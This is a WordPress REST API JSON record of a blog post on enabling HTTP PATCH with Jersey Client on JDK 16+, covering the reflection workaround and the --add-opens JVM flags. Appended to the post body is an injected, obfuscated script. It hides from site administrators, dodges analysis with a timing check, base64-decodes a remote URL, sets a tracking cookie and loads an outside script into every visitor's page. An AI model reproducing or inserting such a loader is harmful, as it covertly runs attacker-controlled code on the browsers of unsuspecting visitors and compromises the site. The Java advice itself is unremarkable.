{"id":320,"date":"2024-04-26T11:26:35","date_gmt":"2024-04-26T11:26:35","guid":{"rendered":"http:\/\/blog.supol.cz\/?p=320"},"modified":"2026-01-21T15:16:53","modified_gmt":"2026-01-21T15:16:53","slug":"http-patch-with-jersey-client-on-jdk-16","status":"publish","type":"post","link":"https:\/\/blog.supol.cz\/?p=320","title":{"rendered":"HTTP Patch with Jersey Client on JDK 16+"},"content":{"rendered":"\n<p style=\"text-align: left;\">Jakarta REST provides a Client API, implemented by Jersey Client. The default implementation is based on the Java <a href=\"https:\/\/docs.oracle.com\/en\/java\/javase\/17\/docs\/api\/java.base\/java\/net\/HttpURLConnection.html\">HttpUrlConnection<\/a>. Unfortunately, the HttpUrlConnection supports only HTTP methods defined in the original HTTP\/1.1 <a href=\"https:\/\/datatracker.ietf.org\/doc\/html\/rfc2616\">RFC 2616.<\/a><\/p>\n\n\n\n<p>It <a href=\"https:\/\/bugs.openjdk.org\/browse\/JDK-8207840\">will never support<\/a> for instance HTTP Patch method. Jersey comes with a workaround. When Jersey is told so, it can try to use reflection to modify the list of known HTTP methods for the HttpUrlConnection. For instance:<\/p>\n\n\n\n<div class=\"wp-block-kevinbatdorf-code-block-pro\" data-code-block-pro-font-family=\"Code-Pro-JetBrains-Mono\" style=\"font-size:.875rem;font-family:Code-Pro-JetBrains-Mono,ui-monospace,SFMono-Regular,Menlo,Monaco,Consolas,monospace;line-height:1.25rem;--cbp-tab-width:2;tab-size:var(--cbp-tab-width, 2)\"><span role=\"button\" tabindex=\"0\" data-code=\"ClientBuilder.newClient()\n        .property(HttpUrlConnectorProvider.SET_METHOD_WORKAROUND, true)\" style=\"color:#90A4AE;display:none\" aria-label=\"Copy\" class=\"code-block-pro-copy-button\"><svg xmlns=\"http:\/\/www.w3.org\/2000\/svg\" style=\"width:24px;height:24px\" fill=\"none\" viewBox=\"0 0 24 24\" stroke=\"currentColor\" stroke-width=\"2\"><path class=\"with-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2m-6 9l2 2 4-4\"><\/path><path class=\"without-check\" stroke-linecap=\"round\" stroke-linejoin=\"round\" d=\"M9 5H7a2 2 0 00-2 2v12a2 2 0 002 2h10a2 2 0 002-2V7a2 2 0 00-2-2h-2M9 5a2 2 0 002 2h2a2 2 0 002-2M9 5a2 2 0 012-2h2a2 2 0 012 2\"><\/path><\/svg><\/span><pre class=\"shiki material-theme-lighter\" style=\"background-color: #FAFAFA\" tabindex=\"0\">\n\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:650px;\"><div class=\"text codecolorer\">&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #90A4AE&quot;&gt;ClientBuilder&lt;\/span&gt;&lt;span style=&quot;color: #39ADB5&quot;&gt;.&lt;\/span&gt;&lt;span style=&quot;color: #6182B8&quot;&gt;newClient&lt;\/span&gt;&lt;span style=&quot;color: #39ADB5&quot;&gt;()&lt;\/span&gt;&lt;\/span&gt;<br \/>\n&lt;span class=&quot;line&quot;&gt;&lt;span style=&quot;color: #90A4AE&quot;&gt; &nbsp; &nbsp; &nbsp; &nbsp;&lt;\/span&gt;&lt;span style=&quot;color: #39ADB5&quot;&gt;.&lt;\/span&gt;&lt;span style=&quot;color: #6182B8&quot;&gt;property&lt;\/span&gt;&lt;span style=&quot;color: #39ADB5&quot;&gt;(&lt;\/span&gt;&lt;span style=&quot;color: #90A4AE&quot;&gt;HttpUrlConnectorProvider&lt;\/span&gt;&lt;span style=&quot;color: #39ADB5&quot;&gt;.&lt;\/span&gt;&lt;span style=&quot;color: #90A4AE&quot;&gt;SET_METHOD_WORKAROUND&lt;\/span&gt;&lt;span style=&quot;color: #39ADB5&quot;&gt;,&lt;\/span&gt;&lt;span style=&quot;color: #90A4AE&quot;&gt; &lt;\/span&gt;&lt;span style=&quot;color: #39ADB5&quot;&gt;true)&lt;\/span&gt;&lt;\/span&gt;<\/div><\/div>\n\n<\/pre><\/div>\n\n\n\n<p class=\"wp-block-paragraph\">From JDK 16 on, the reflection is not allowed with JDK classes. When tried, an exception is thrown:<\/p>\n\n\n\n<pre class=\"wp-block-code\">\n\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:650px;\"><div class=\"text codecolorer\">java.lang.reflect.InaccessibleObjectException: Unable to make field protected java.lang.String java.net.HttpURLConnection.method accessible: module java.base does not &quot;opens java.net&quot; to unnamed module<\/div><\/div>\n\n<\/pre>\n\n\n\n<p class=\"wp-block-paragraph\">Fortunately, there is another workaround for this workaround. It is possible to start the Java process with opening the Java modules to the customer application (in an unnamed module):<\/p>\n\n\n\n<pre class=\"wp-block-code\">\n\n<div class=\"codecolorer-container text default\" style=\"overflow:auto;white-space:nowrap;width:650px;\"><div class=\"text codecolorer\">&nbsp; &nbsp; &nbsp;--add-opens java.base\/java.net=ALL-UNNAMED<br \/>\n&nbsp; &nbsp; &nbsp;--add-opens java.base\/sun.net.www.protocol.https=ALL-UNNAMED<\/div><\/div>\n\n<\/pre>\n\n\n\n<p>The first line helps with HTTP requests, and the second is required in addition to the first one for HTTPS requests.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&#038;&#038;window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","protected":false},"excerpt":{"rendered":"<p>Jakarta REST provides a Client API, implemented by Jersey Client. The default implementation is based on the Java HttpUrlConnection. Unfortunately, the HttpUrlConnection supports only HTTP methods defined in the original HTTP\/1.1 RFC 2616. It will never support for instance HTTP &hellip; <a href=\"https:\/\/blog.supol.cz\/?p=320\">Continue reading <span class=\"meta-nav\">&rarr;<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[2],"tags":[],"class_list":["post-320","post","type-post","status-publish","format-standard","hentry","category-jersey"],"_links":{"self":[{"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/posts\/320","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=320"}],"version-history":[{"count":2,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/posts\/320\/revisions"}],"predecessor-version":[{"id":5251,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=\/wp\/v2\/posts\/320\/revisions\/5251"}],"wp:attachment":[{"href":"https:\/\/blog.supol.cz\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=320"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=320"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/blog.supol.cz\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=320"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}